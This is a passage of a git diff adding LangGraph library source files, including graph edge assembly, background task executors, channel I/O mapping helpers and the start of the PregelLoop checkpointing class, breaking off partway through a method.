+        for channel, item in channels.items():
+            if isinstance(item, LastValueAfterFinish):
+                deferred_node = channel.split(":", 2)[-1]
+                deferred_nodes.add(deferred_node)
+        # collect edges
+        for task in tasks.values():
+            added = False
+            for trigger in task.triggers:
+                for src, cond, label in sorted(trigger_to_sources[trigger]):
+                    # record edge to be reviewed later
+                    if task.name in deferred_nodes:
+                        edges_to_deferred_nodes.add(Edge(src, task.name, cond, label))
+                    edges.add(Edge(src, task.name, cond, label))
+                    # if the edge is from this step, skip adding the implicit edges
+                    if (trigger, cond, label) in step_sources.get(src, set()):
+                        added = True
+                    else:
+                        sources[src].discard(TriggerEdge(trigger, cond, label))
+            # if no edges from this step, add implicit edges from all previous tasks
+            if not added:
+                for src in step_sources:
+                    edges.add(Edge(src, task.name, True, None))
+
+    # assemble the graph
+    graph = Graph()
+    # add nodes
+    for name, node in nodes.items():
+        metadata = dict(node.metadata or {})
+        if name in deferred_nodes:
+            metadata["defer"] = True
+        if name in interrupt_before_nodes and name in interrupt_after_nodes:
+            metadata["__interrupt"] = "before,after"
+        elif name in interrupt_before_nodes:
+            metadata["__interrupt"] = "before"
+        elif name in interrupt_after_nodes:
+            metadata["__interrupt"] = "after"
+        graph.add_node(node.bound, name, metadata=metadata or None)
+    # add start node
+    if START not in nodes:
+        graph.add_node(None, START)
+        for task in start_tasks.values():
+            add_edge(graph, START, task.name)
+    # add discovered edges
+    for src, dest, is_conditional, label in sorted(edges):
+        add_edge(
+            graph,
+            src,
+            dest,
+            data=label if label != dest else None,
+            conditional=is_conditional,
+        )
+    # add end edges
+    termini = {d for _, d, _, _ in edges if d != END}.difference(
+        s for s, _, _, _ in edges
+    )
+    end_edge_exists = any(d == END for _, d, _, _ in edges)
+    if termini:
+        for src in sorted(termini):
+            add_edge(graph, src, END)
+    elif len(step_sources) == 1 and not end_edge_exists:
+        for src in sorted(step_sources):
+            add_edge(graph, src, END, conditional=True)
+    # replace subgraphs
+    for name, subgraph in subgraphs.items():
+        if (
+            len(subgraph.nodes) > 1
+            and name in graph.nodes
+            and subgraph.first_node()
+            and subgraph.last_node()
+        ):
+            subgraph.trim_first_node()
+            subgraph.trim_last_node()
+            # replace the node with the subgraph
+            graph.nodes.pop(name)
+            first, last = graph.extend(subgraph, prefix=name)
+            for idx, edge in enumerate(graph.edges):
+                if edge.source == name:
+                    edge = edge.copy(source=cast(Node, last).id)
+                if edge.target == name:
+                    edge = edge.copy(target=cast(Node, first).id)
+                graph.edges[idx] = edge
+
+    return graph
+
+
+def add_edge(
+    graph: Graph,
+    source: str,
+    target: str,
+    *,
+    data: Any | None = None,
+    conditional: bool = False,
+) -> None:
+    """Add an edge to the graph."""
+    for edge in graph.edges:
+        if edge.source == source and edge.target == target:
+            return
+    if target not in graph.nodes and target == END:
+        graph.add_node(None, END)
+    graph.add_edge(graph.nodes[source], graph.nodes[target], data, conditional)
diff --git a/libs/langgraph/langgraph/pregel/_executor.py b/libs/langgraph/langgraph/pregel/_executor.py
new file mode 100644
index 0000000..10a43cf
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_executor.py
@@ -0,0 +1,223 @@
+from __future__ import annotations
+
+import asyncio
+import concurrent.futures
+import time
+from collections.abc import Awaitable, Callable, Coroutine
+from contextlib import AbstractAsyncContextManager, AbstractContextManager, ExitStack
+from contextvars import copy_context
+from types import TracebackType
+from typing import (
+    Protocol,
+    TypeVar,
+    cast,
+)
+
+from langchain_core.runnables import RunnableConfig
+from langchain_core.runnables.config import get_executor_for_config
+from typing_extensions import ParamSpec
+
+from langgraph._internal._future import CONTEXT_NOT_SUPPORTED, run_coroutine_threadsafe
+from langgraph.errors import GraphBubbleUp
+
+P = ParamSpec("P")
+T = TypeVar("T")
+
+
+class Submit(Protocol[P, T]):
+    def __call__(  # type: ignore[valid-type]
+        self,
+        fn: Callable[P, T],
+        *args: P.args,
+        __name__: str | None = None,
+        __cancel_on_exit__: bool = False,
+        __reraise_on_exit__: bool = True,
+        __next_tick__: bool = False,
+        **kwargs: P.kwargs,
+    ) -> concurrent.futures.Future[T]: ...
+
+
+class BackgroundExecutor(AbstractContextManager):
+    """A context manager that runs sync tasks in the background.
+    Uses a thread pool executor to delegate tasks to separate threads.
+    On exit,
+    - cancels any (not yet started) tasks with `__cancel_on_exit__=True`
+    - waits for all tasks to finish
+    - re-raises the first exception from tasks with `__reraise_on_exit__=True`"""
+
+    def __init__(self, config: RunnableConfig) -> None:
+        self.stack = ExitStack()
+        self.executor = self.stack.enter_context(get_executor_for_config(config))
+        # mapping of Future to (__cancel_on_exit__, __reraise_on_exit__) flags
+        self.tasks: dict[concurrent.futures.Future, tuple[bool, bool]] = {}
+
+    def submit(  # type: ignore[valid-type]
+        self,
+        fn: Callable[P, T],
+        *args: P.args,
+        __name__: str | None = None,  # currently not used in sync version
+        __cancel_on_exit__: bool = False,  # for sync, can cancel only if not started
+        __reraise_on_exit__: bool = True,
+        __next_tick__: bool = False,
+        **kwargs: P.kwargs,
+    ) -> concurrent.futures.Future[T]:
+        ctx = copy_context()
+        if __next_tick__:
+            task = cast(
+                concurrent.futures.Future[T],
+                self.executor.submit(next_tick, ctx.run, fn, *args, **kwargs),  # type: ignore[arg-type]
+            )
+        else:
+            task = self.executor.submit(ctx.run, fn, *args, **kwargs)
+        self.tasks[task] = (__cancel_on_exit__, __reraise_on_exit__)
+        # add a callback to remove the task from the tasks dict when it's done
+        task.add_done_callback(self.done)
+        return task
+
+    def done(self, task: concurrent.futures.Future) -> None:
+        """Remove the task from the tasks dict when it's done."""
+        try:
+            task.result()
+        except GraphBubbleUp:
+            # This exception is an interruption signal, not an error
+            # so we don't want to re-raise it on exit
+            self.tasks.pop(task)
+        except BaseException:
+            pass
+        else:
+            self.tasks.pop(task)
+
+    def __enter__(self) -> Submit:
+        return self.submit
+
+    def __exit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc_value: BaseException | None,
+        traceback: TracebackType | None,
+    ) -> bool | None:
+        # copy the tasks as done() callback may modify the dict
+        tasks = self.tasks.copy()
+        # cancel all tasks that should be cancelled
+        for task, (cancel, _) in tasks.items():
+            if cancel:
+                task.cancel()
+        # wait for all tasks to finish
+        if pending := {t for t in tasks if not t.done()}:
+            concurrent.futures.wait(pending)
+        # shutdown the executor
+        self.stack.__exit__(exc_type, exc_value, traceback)
+        # if there's already an exception being raised, don't raise another one
+        if exc_type is None:
+            # re-raise the first exception that occurred in a task
+            for task, (_, reraise) in tasks.items():
+                if not reraise:
+                    continue
+                try:
+                    task.result()
+                except concurrent.futures.CancelledError:
+                    pass
+
+
+class AsyncBackgroundExecutor(AbstractAsyncContextManager):
+    """A context manager that runs async tasks in the background.
+    Uses the current event loop to delegate tasks to asyncio tasks.
+    On exit,
+    - cancels any tasks with `__cancel_on_exit__=True`
+    - waits for all tasks to finish
+    - re-raises the first exception from tasks with `__reraise_on_exit__=True`
+      ignoring CancelledError"""
+
+    def __init__(self, config: RunnableConfig) -> None:
+        self.tasks: dict[asyncio.Future, tuple[bool, bool]] = {}
+        self.sentinel = object()
+        self.loop = asyncio.get_running_loop()
+        if max_concurrency := config.get("max_concurrency"):
+            self.semaphore: asyncio.Semaphore | None = asyncio.Semaphore(
+                max_concurrency
+            )
+        else:
+            self.semaphore = None
+
+    def submit(  # type: ignore[valid-type]
+        self,
+        fn: Callable[P, Awaitable[T]],
+        *args: P.args,
+        __name__: str | None = None,
+        __cancel_on_exit__: bool = False,
+        __reraise_on_exit__: bool = True,
+        __next_tick__: bool = False,  # noop in async (always True)
+        **kwargs: P.kwargs,
+    ) -> asyncio.Future[T]:
+        coro = cast(Coroutine[None, None, T], fn(*args, **kwargs))
+        if self.semaphore:
+            coro = gated(self.semaphore, coro)
+        if CONTEXT_NOT_SUPPORTED:
+            task = run_coroutine_threadsafe(
+                coro, self.loop, name=__name__, lazy=__next_tick__
+            )
+        else:
+            task = run_coroutine_threadsafe(
+                coro,
+                self.loop,
+                name=__name__,
+                context=copy_context(),
+                lazy=__next_tick__,
+            )
+        self.tasks[task] = (__cancel_on_exit__, __reraise_on_exit__)
+        task.add_done_callback(self.done)
+        return task
+
+    def done(self, task: asyncio.Future) -> None:
+        try:
+            if exc := task.exception():
+                # This exception is an interruption signal, not an error
+                # so we don't want to re-raise it on exit
+                if isinstance(exc, GraphBubbleUp):
+                    self.tasks.pop(task)
+            else:
+                self.tasks.pop(task)
+        except asyncio.CancelledError:
+            self.tasks.pop(task)
+
+    async def __aenter__(self) -> Submit:
+        return self.submit
+
+    async def __aexit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc_value: BaseException | None,
+        traceback: TracebackType | None,
+    ) -> None:
+        # copy the tasks as done() callback may modify the dict
+        tasks = self.tasks.copy()
+        # cancel all tasks that should be cancelled
+        for task, (cancel, _) in tasks.items():
+            if cancel:
+                task.cancel(self.sentinel)
+        # wait for all tasks to finish
+        if tasks:
+            await asyncio.wait(tasks)
+        # if there's already an exception being raised, don't raise another one
+        if exc_type is None:
+            # re-raise the first exception that occurred in a task
+            for task, (_, reraise) in tasks.items():
+                if not reraise:
+                    continue
+                try:
+                    if exc := task.exception():
+                        raise exc
+                except asyncio.CancelledError:
+                    pass
+
+
+async def gated(semaphore: asyncio.Semaphore, coro: Coroutine[None, None, T]) -> T:
+    """A coroutine that waits for a semaphore before running another coroutine."""
+    async with semaphore:
+        return await coro
+
+
+def next_tick(fn: Callable[P, T], *args: P.args, **kwargs: P.kwargs) -> T:
+    """A function that yields control to other threads before running another function."""
+    time.sleep(0)
+    return fn(*args, **kwargs)
diff --git a/libs/langgraph/langgraph/pregel/_io.py b/libs/langgraph/langgraph/pregel/_io.py
new file mode 100644
index 0000000..3c05dbd
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_io.py
@@ -0,0 +1,174 @@
+from __future__ import annotations
+
+from collections import Counter
+from collections.abc import Iterator, Mapping, Sequence
+from typing import Any, Literal
+
+from langgraph._internal._constants import (
+    ERROR,
+    INTERRUPT,
+    NULL_TASK_ID,
+    RESUME,
+    RETURN,
+    TASKS,
+)
+from langgraph._internal._typing import EMPTY_SEQ, MISSING
+from langgraph.channels.base import BaseChannel, EmptyChannelError
+from langgraph.constants import START, TAG_HIDDEN
+from langgraph.errors import InvalidUpdateError
+from langgraph.pregel._log import logger
+from langgraph.types import Command, PregelExecutableTask, Send
+
+
+def read_channel(
+    channels: Mapping[str, BaseChannel],
+    chan: str,
+    *,
+    catch: bool = True,
+) -> Any:
+    try:
+        return channels[chan].get()
+    except EmptyChannelError:
+        if catch:
+            return None
+        else:
+            raise
+
+
+def read_channels(
+    channels: Mapping[str, BaseChannel],
+    select: Sequence[str] | str,
+    *,
+    skip_empty: bool = True,
+) -> dict[str, Any] | Any:
+    if isinstance(select, str):
+        return read_channel(channels, select)
+    else:
+        values: dict[str, Any] = {}
+        for k in select:
+            try:
+                values[k] = read_channel(channels, k, catch=not skip_empty)
+            except EmptyChannelError:
+                pass
+        return values
+
+
+def map_command(cmd: Command) -> Iterator[tuple[str, str, Any]]:
+    """Map input chunk to a sequence of pending writes in the form (channel, value)."""
+    if cmd.graph == Command.PARENT:
+        raise InvalidUpdateError("There is no parent graph")
+    if cmd.goto:
+        if isinstance(cmd.goto, (tuple, list)):
+            sends = cmd.goto
+        else:
+            sends = [cmd.goto]
+        for send in sends:
+            if isinstance(send, Send):
+                yield (NULL_TASK_ID, TASKS, send)
+            elif isinstance(send, str):
+                yield (NULL_TASK_ID, f"branch:to:{send}", START)
+            else:
+                raise TypeError(
+                    f"In Command.goto, expected Send/str, got {type(send).__name__}"
+                )
+    if cmd.resume is not None:
+        yield (NULL_TASK_ID, RESUME, cmd.resume)
+    if cmd.update:
+        for k, v in cmd._update_as_tuples():
+            yield (NULL_TASK_ID, k, v)
+
+
+def map_input(
+    input_channels: str | Sequence[str],
+    chunk: dict[str, Any] | Any | None,
+) -> Iterator[tuple[str, Any]]:
+    """Map input chunk to a sequence of pending writes in the form (channel, value)."""
+    if chunk is None:
+        return
+    elif isinstance(input_channels, str):
+        yield (input_channels, chunk)
+    else:
+        if not isinstance(chunk, dict):
+            raise TypeError(f"Expected chunk to be a dict, got {type(chunk).__name__}")
+        for k in chunk:
+            if k in input_channels:
+                yield (k, chunk[k])
+            else:
+                logger.warning(f"Input channel {k} not found in {input_channels}")
+
+
+def map_output_values(
+    output_channels: str | Sequence[str],
+    pending_writes: Literal[True] | Sequence[tuple[str, Any]],
+    channels: Mapping[str, BaseChannel],
+) -> Iterator[dict[str, Any] | Any]:
+    """Map pending writes (a sequence of tuples (channel, value)) to output chunk."""
+    if isinstance(output_channels, str):
+        if pending_writes is True or any(
+            chan == output_channels for chan, _ in pending_writes
+        ):
+            yield read_channel(channels, output_channels)
+    else:
+        if pending_writes is True or {
+            c for c, _ in pending_writes if c in output_channels
+        }:
+            yield read_channels(channels, output_channels)
+
+
+def map_output_updates(
+    output_channels: str | Sequence[str],
+    tasks: list[tuple[PregelExecutableTask, Sequence[tuple[str, Any]]]],
+    cached: bool = False,
+) -> Iterator[dict[str, Any | dict[str, Any]]]:
+    """Map pending writes (a sequence of tuples (channel, value)) to output chunk."""
+    output_tasks = [
+        (t, ww)
+        for t, ww in tasks
+        if (not t.config or TAG_HIDDEN not in t.config.get("tags", EMPTY_SEQ))
+        and ww[0][0] != ERROR
+        and ww[0][0] != INTERRUPT
+    ]
+    if not output_tasks:
+        return
+    updated: list[tuple[str, Any]] = []
+    for task, writes in output_tasks:
+        rtn = next((value for chan, value in writes if chan == RETURN), MISSING)
+        if rtn is not MISSING:
+            updated.append((task.name, rtn))
+        elif isinstance(output_channels, str):
+            updated.extend(
+                (task.name, value) for chan, value in writes if chan == output_channels
+            )
+        elif any(chan in output_channels for chan, _ in writes):
+            counts = Counter(chan for chan, _ in writes)
+            if any(counts[chan] > 1 for chan in output_channels):
+                updated.extend(
+                    (
+                        task.name,
+                        {chan: value},
+                    )
+                    for chan, value in writes
+                    if chan in output_channels
+                )
+            else:
+                updated.append(
+                    (
+                        task.name,
+                        {
+                            chan: value
+                            for chan, value in writes
+                            if chan in output_channels
+                        },
+                    )
+                )
+    grouped: dict[str, Any] = {t.name: [] for t, _ in output_tasks}
+    for node, value in updated:
+        grouped[node].append(value)
+    for node, value in grouped.items():
+        if len(value) == 0:
+            grouped[node] = None
+        if len(value) == 1:
+            grouped[node] = value[0]
+    if cached:
+        grouped["__metadata__"] = {"cached": cached}
+    yield grouped
diff --git a/libs/langgraph/langgraph/pregel/_log.py b/libs/langgraph/langgraph/pregel/_log.py
new file mode 100644
index 0000000..fd12777
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_log.py
@@ -0,0 +1,3 @@
+import logging
+
+logger = logging.getLogger("langgraph")
diff --git a/libs/langgraph/langgraph/pregel/_loop.py b/libs/langgraph/langgraph/pregel/_loop.py
new file mode 100644
index 0000000..3710377
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_loop.py
@@ -0,0 +1,1988 @@
+from __future__ import annotations
+
+import asyncio
+import binascii
+import concurrent.futures
+from collections import defaultdict, deque
+from collections.abc import Callable, Iterator, Mapping, Sequence
+from contextlib import (
+    AbstractAsyncContextManager,
+    AbstractContextManager,
+    AsyncExitStack,
+    ExitStack,
+)
+from datetime import datetime, timezone
+from inspect import signature
+from types import TracebackType
+from typing import (
+    Any,
+    Literal,
+    TypeVar,
+    cast,
+)
+
+from langchain_core.callbacks import AsyncParentRunManager, ParentRunManager
+from langchain_core.runnables import RunnableConfig
+from langgraph.cache.base import BaseCache
+from langgraph.checkpoint.base import (
+    WRITES_IDX_MAP,
+    BaseCheckpointSaver,
+    ChannelVersions,
+    Checkpoint,
+    CheckpointMetadata,
+    CheckpointTuple,
+    PendingWrite,
+)
+from langgraph.store.base import BaseStore
+from typing_extensions import ParamSpec, Self
+
+from langgraph._internal._config import patch_configurable
+from langgraph._internal._constants import (
+    CONF,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_MAP,
+    CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_REPLAY_STATE,
+    CONFIG_KEY_RESUME_MAP,
+    CONFIG_KEY_RESUMING,
+    CONFIG_KEY_RUNTIME,
+    CONFIG_KEY_SCRATCHPAD,
+    CONFIG_KEY_STREAM,
+    CONFIG_KEY_TASK_ID,
+    CONFIG_KEY_THREAD_ID,
+    ERROR,
+    ERROR_SOURCE_NODE,
+    INPUT,
+    INTERRUPT,
+    NS_END,
+    NS_SEP,
+    NULL_TASK_ID,
+    PUSH,
+    RESUME,
+    TASKS,
+)
+from langgraph._internal._replay import ReplayState
+from langgraph._internal._scratchpad import PregelScratchpad
+from langgraph._internal._typing import EMPTY_SEQ, MISSING
+from langgraph.callbacks import (
+    GraphInterruptEvent,
+    GraphLifecycleEvent,
+    GraphResumeEvent,
+)
+from langgraph.channels.base import BaseChannel
+from langgraph.channels.binop import _get_overwrite
+from langgraph.channels.delta import DeltaChannel
+from langgraph.channels.untracked_value import UntrackedValue
+from langgraph.constants import TAG_HIDDEN
+from langgraph.errors import (
+    EmptyInputError,
+    GraphInterrupt,
+)
+from langgraph.managed.base import (
+    ManagedValueMapping,
+    ManagedValueSpec,
+)
+from langgraph.pregel._algo import (
+    Call,
+    GetNextVersion,
+    PregelTaskWrites,
+    apply_writes,
+    checkpoint_null_version,
+    increment,
+    prepare_next_tasks,
+    prepare_node_error_handler_task,
+    prepare_single_task,
+    sanitize_untracked_values_in_send,
+    should_interrupt,
+    task_path_str,
+)
+from langgraph.pregel._checkpoint import (
+    achannels_from_checkpoint,
+    channels_from_checkpoint,
+    copy_checkpoint,
+    create_checkpoint,
+    delta_channels_to_snapshot,
+    empty_checkpoint,
+    exit_delta_task_id,
+)
+from langgraph.pregel._executor import (
+    AsyncBackgroundExecutor,
+    BackgroundExecutor,
+    Submit,
+)
+from langgraph.pregel._io import (
+    map_command,
+    map_input,
+    map_output_updates,
+    map_output_values,
+    read_channels,
+)
+from langgraph.pregel._messages import ensure_message_ids
+from langgraph.pregel._read import PregelNode
+from langgraph.pregel._utils import get_new_channel_versions, is_xxh3_128_hexdigest
+from langgraph.pregel.debug import (
+    map_debug_checkpoint,
+    map_debug_task_results,
+    map_debug_tasks,
+)
+from langgraph.pregel.protocol import StreamChunk, StreamProtocol
+from langgraph.runtime import RunControl, Runtime
+from langgraph.types import (
+    All,
+    CachePolicy,
+    Command,
+    Durability,
+    Interrupt,
+    PregelExecutableTask,
+    RetryPolicy,
+    Send,
+    StreamMode,
+)
+
+V = TypeVar("V")
+P = ParamSpec("P")
+
+
+WritesT = Sequence[tuple[str, Any]]
+
+
+def DuplexStream(*streams: StreamProtocol) -> StreamProtocol:
+    def __call__(value: StreamChunk) -> None:
+        for stream in streams:
+            if value[1] in stream.modes:
+                stream(value)
+
+    return StreamProtocol(__call__, {mode for s in streams for mode in s.modes})
+
+
+class PregelLoop:
+    config: RunnableConfig
+    store: BaseStore | None
+    stream: StreamProtocol | None
+    step: int
+    stop: int
+
+    input: Any | None
+    cache: BaseCache[WritesT] | None
+    checkpointer: BaseCheckpointSaver | None
+    nodes: Mapping[str, PregelNode]
+    specs: Mapping[str, BaseChannel | ManagedValueSpec]
+    input_keys: str | Sequence[str]
+    output_keys: str | Sequence[str]
+    stream_keys: str | Sequence[str]
+    is_replaying: bool
+    is_nested: bool
+    manager: None | AsyncParentRunManager | ParentRunManager
+    interrupt_after: All | Sequence[str]
+    interrupt_before: All | Sequence[str]
+    durability: Durability
+    retry_policy: Sequence[RetryPolicy]
+    cache_policy: CachePolicy | None
+
+    checkpointer_get_next_version: GetNextVersion
+    checkpointer_put_writes: Callable[[RunnableConfig, WritesT, str], Any] | None
+    checkpointer_put_writes_accepts_task_path: bool
+    _checkpointer_put_after_previous: (
+        Callable[
+            [
+                concurrent.futures.Future | None,
+                RunnableConfig,
+                Checkpoint,
+                str,
+                ChannelVersions,
+            ],
+            Any,
+        ]
+        | None
+    )
+    _migrate_checkpoint: Callable[[Checkpoint], None] | None
+    submit: Submit
+    channels: Mapping[str, BaseChannel]
+    # Futures from `checkpointer.put_writes` calls that produced delta-channel
+    # writes. `_checkpointer_put_after_previous` drains this list (swap to a
+    # local `futs` then reset to `[]` and wait/gather) before putting the
+    # next checkpoint, so a checkpoint never becomes durable before the
+    # writes that produced it. Initialised to `[]` in both sync and async
+    # `__enter__`; stays `None` only when no checkpointer.
+    _delta_write_futs: list[Any] | None = None
+
+    # Same pattern as `_delta_write_futs` but for error-handler writes.
+    # When `put_writes` persists an ERROR_SOURCE_NODE marker, the future is
+    # appended here.  `schedule_error_handler` / `aschedule_error_handler`
+    # drain this list so the write is durable before the handler starts.
+    _error_handler_write_futs: list[Any] | None = None
+
+    # Exit-mode accumulator: every delta-channel write produced during this
+    # run (input writes from `_first` + per-superstep writes captured in
+    # `after_tick`). At exit, `_put_exit_delta_writes` filters out channels
+    # that will snapshot, then persists the rest under an anchor parent.
+    # `None` when not in exit mode (so the capture sites are no-ops).
+    # Each tuple is `(step, task_id, channel, value)` — `step` drives the
+    # synthetic step-prefixed task_id used to preserve chronological order
+    # under the saver's `ORDER BY task_id, idx` sorting.
+    _exit_delta_writes: list[tuple[int, str, str, Any]] | None = None
+
+    # Delta channels that saw an Overwrite since the last checkpoint. These
+    # channels must snapshot after live update applies overwrite semantics so
+    # sparse replay starts from the same post-overwrite value.
+    _delta_channels_with_overwrite: set[str]
+
+    # The checkpoint_config that points at the parent loaded at `__enter__`
+    # (or the synthetic-empty checkpoint, on first run). We capture it
+    # eagerly because every `_put_checkpoint` advances `self.checkpoint_config`
+    # to the newly-saved checkpoint's id — by exit time the original parent
+    # config would otherwise be lost. `_put_exit_delta_writes` uses this:
+    # on resumed runs as the anchor for exit delta writes; on first runs
+    # to derive the lazy stub's config (its `checkpoint_id` is the
+    # synthetic-empty id we want the stub persisted under).
+    _initial_checkpoint_config: RunnableConfig
+
+    # True iff the saver actually returned a tuple at `__enter__`. False
+    # on the first-ever run for a thread (no parent persisted yet).
+    # `_put_exit_delta_writes` uses this to decide between anchoring on
+    # the existing parent (True) or creating a lazy stub (False).
+    _has_persisted_parent: bool = False
+
+    managed: ManagedValueMapping
+    checkpoint: Checkpoint
+    checkpoint_id_saved: str
+    checkpoint_ns: tuple[str, ...]
+    checkpoint_config: RunnableConfig
+    checkpoint_metadata: CheckpointMetadata
+    checkpoint_pending_writes: list[PendingWrite]
+    checkpoint_previous_versions: dict[str, str | float | int]
+    prev_checkpoint_config: RunnableConfig | None
+
+    status: Literal[
+        "input",
+        "pending",
+        "done",
+        "draining",
+        "interrupt_before",
+        "interrupt_after",
+        "out_of_steps",
+    ]
+    control: RunControl | None
+    tasks: dict[str, PregelExecutableTask]
+    output: None | dict[str, Any] | Any = None
+    updated_channels: set[str] | None = None
+    _graph_lifecycle_events: deque[GraphLifecycleEvent]
+    _has_graph_lifecycle_callbacks: bool
+
+    # public
+
+    def __init__(
+        self,
+        input: Any | None,
+        *,
+        stream: StreamProtocol | None,
+        config: RunnableConfig,
+        store: BaseStore | None,
+        cache: BaseCache | None,
+        checkpointer: BaseCheckpointSaver | None,
+        nodes: Mapping[str, PregelNode],
+        specs: Mapping[str, BaseChannel | ManagedValueSpec],
+        input_keys: str | Sequence[str],
+        output_keys: str | Sequence[str],
+        stream_keys: str | Sequence[str],
+        trigger_to_nodes: Mapping[str, Sequence[str]],
+        durability: Durability,
+        interrupt_after: All | Sequence[str] = EMPTY_SEQ,
+        interrupt_before: All | Sequence[str] = EMPTY_SEQ,
+        manager: None | AsyncParentRunManager | ParentRunManager = None,
+        migrate_checkpoint: Callable[[Checkpoint], None] | None = None,
+        retry_policy: Sequence[RetryPolicy] = (),
+        cache_policy: CachePolicy | None = None,
+        has_graph_lifecycle_callbacks: bool = False,
+    ) -> None:
+        self.stream = stream
+        self.config = config
+        self.store = store
+        self.step = 0
+        self.stop = 0
+        self.input = input
+        self.checkpointer = checkpointer
+        self.cache = cache
+        self.nodes = nodes
+        self.specs = specs
+        self.input_keys = input_keys
+        self.output_keys = output_keys
+        self.stream_keys = stream_keys
+        self.interrupt_after = interrupt_after
+        self.interrupt_before = interrupt_before
+        self.manager = manager
+        self.is_nested = CONFIG_KEY_TASK_ID in self.config.get(CONF, {})
+        self.is_replaying = CONFIG_KEY_CHECKPOINT_ID in config[CONF]
+        self._migrate_checkpoint = migrate_checkpoint
+        self.trigger_to_nodes = trigger_to_nodes
+        self.retry_policy = retry_policy
+        self.cache_policy = cache_policy
+        self.durability = durability
+        self._has_graph_lifecycle_callbacks = has_graph_lifecycle_callbacks
+        self._graph_lifecycle_events = deque()
+        if self.stream is not None and CONFIG_KEY_STREAM in config[CONF]:
+            self.stream = DuplexStream(self.stream, config[CONF][CONFIG_KEY_STREAM])
+        scratchpad: PregelScratchpad | None = config[CONF].get(CONFIG_KEY_SCRATCHPAD)
+        if isinstance(scratchpad, PregelScratchpad):
+            # if count is > 0, append to checkpoint_ns
+            # if count is 0, leave as is
+            if cnt := scratchpad.subgraph_counter():
+                self.config = patch_configurable(
+                    self.config,
+                    {
+                        CONFIG_KEY_CHECKPOINT_NS: NS_SEP.join(
+                            (
+                                config[CONF][CONFIG_KEY_CHECKPOINT_NS],
+                                str(cnt),
+                            )
+                        )
+                    },
+                )
+        if not self.is_nested and config[CONF].get(CONFIG_KEY_CHECKPOINT_NS):
+            self.config = patch_configurable(
+                self.config,
+                {CONFIG_KEY_CHECKPOINT_NS: "", CONFIG_KEY_CHECKPOINT_ID: None},
+            )
+        if (
+            CONFIG_KEY_CHECKPOINT_MAP in self.config[CONF]
+            and self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS)
+            in self.config[CONF][CONFIG_KEY_CHECKPOINT_MAP]
+        ):
+            self.checkpoint_config = patch_configurable(
+                self.config,
+                {
+                    CONFIG_KEY_CHECKPOINT_ID: self.config[CONF][
+                        CONFIG_KEY_CHECKPOINT_MAP
+                    ][self.config[CONF][CONFIG_KEY_CHECKPOINT_NS]]
+                },
+            )
+        else:
+            self.checkpoint_config = self.config
+        if thread_id := self.checkpoint_config[CONF].get(CONFIG_KEY_THREAD_ID):
+            if not isinstance(thread_id, str):
+                self.checkpoint_config = patch_configurable(
+                    self.checkpoint_config,
+                    {CONFIG_KEY_THREAD_ID: str(thread_id)},
+                )
+        self.checkpoint_ns = (
+            tuple(cast(str, self.config[CONF][CONFIG_KEY_CHECKPOINT_NS]).split(NS_SEP))
+            if self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS)
+            else ()
+        )
+        self.prev_checkpoint_config = None
+        runtime = self.config[CONF].get(CONFIG_KEY_RUNTIME)
+        self.control = runtime.control if isinstance(runtime, Runtime) else None
+
+    def _push_graph_lifecycle_event(
+        self,
+        kind: Literal["resume", "interrupt"],
+        *,
+        interrupts: tuple[Interrupt, ...] = (),
+    ) -> None:
+        # drain status never reaches lifecycle events: tick() returns False
+        # before pushing, and interrupts are raised through GraphInterrupt
+        if self.status == "draining":
+            raise RuntimeError("Draining status cannot emit lifecycle events")
+        status = self.status
+        if kind == "resume":
+            self._graph_lifecycle_events.append(
+                GraphResumeEvent(
+                    run_id=None,
+                    status=status,
+                    checkpoint_id=self.checkpoint["id"],
+                    checkpoint_ns=self.checkpoint_ns,
+                )
+            )
+        elif kind == "interrupt":
+            self._graph_lifecycle_events.append(
+                GraphInterruptEvent(
+                    run_id=None,
+                    status=status,
+                    checkpoint_id=self.checkpoint["id"],
+                    checkpoint_ns=self.checkpoint_ns,
+                    interrupts=interrupts,
+                )
+            )
+        else:
+            msg = f"Unknown graph lifecycle event type: {kind}"
+            raise AssertionError(msg)
+
+    def _pop_lifecycle_event(self) -> GraphLifecycleEvent | None:
+        if not self._graph_lifecycle_events:
+            return None
+        return self._graph_lifecycle_events.popleft()
+
+    def put_writes(self, task_id: str, writes: WritesT) -> None:
+        """Put writes for a task, to be read by the next tick."""
+        if not writes:
+            return
+        # deduplicate writes to special channels, last write wins
+        if all(w[0] in WRITES_IDX_MAP for w in writes):
+            writes = list({w[0]: w for w in writes}.values())
+        if task_id == NULL_TASK_ID:
+            # writes for the null task are accumulated
+            self.checkpoint_pending_writes = [
+                w
+                for w in self.checkpoint_pending_writes
+                if w[0] != task_id or w[1] not in WRITES_IDX_MAP
+            ]
+            writes_to_save: WritesT = [
+                w[1:] for w in self.checkpoint_pending_writes if w[0] == task_id
+            ] + list(writes)
+        else:
+            # remove existing writes for this task
+            self.checkpoint_pending_writes = [
+                w for w in self.checkpoint_pending_writes if w[0] != task_id
+            ]
+            writes_to_save = writes
+
+        # check if any writes are to an UntrackedValue channel
+        if any(
+            isinstance(channel, UntrackedValue) for channel in self.channels.values()
+        ):
+            # we do not persist untracked values in checkpoints
+            writes_to_save = [
+                # sanitize UntrackedValues that are nested within Send packets
+                (
+                    (c, sanitize_untracked_values_in_send(v, self.channels))
+                    if c == TASKS and isinstance(v, Send)
+                    else (c, v)
+                )
+                for c, v in writes_to_save
+                # dont persist UntrackedValue channel writes
+                if not isinstance(self.specs.get(c), UntrackedValue)
+            ]
+
+        # save writes
+        self.checkpoint_pending_writes.extend((task_id, c, v) for c, v in writes)
+        # Assign stable IDs to any id=None BaseMessages in DeltaChannel writes
+        # before the background thread serialises them. Without this, reducers
+        # that assign IDs inside apply_writes() race with serialisation and
+        # store id=None, causing get_state() replays to produce a different UUID
+        # on every call.
+        for c, v in writes_to_save:
+            if isinstance(self.specs.get(c), DeltaChannel):
+                ensure_message_ids(v)
+        if self.durability != "exit" and self.checkpointer_put_writes is not None:
+            config = patch_configurable(
+                self.checkpoint_config,
+                {
+                    CONFIG_KEY_CHECKPOINT_NS: self.config[CONF].get(
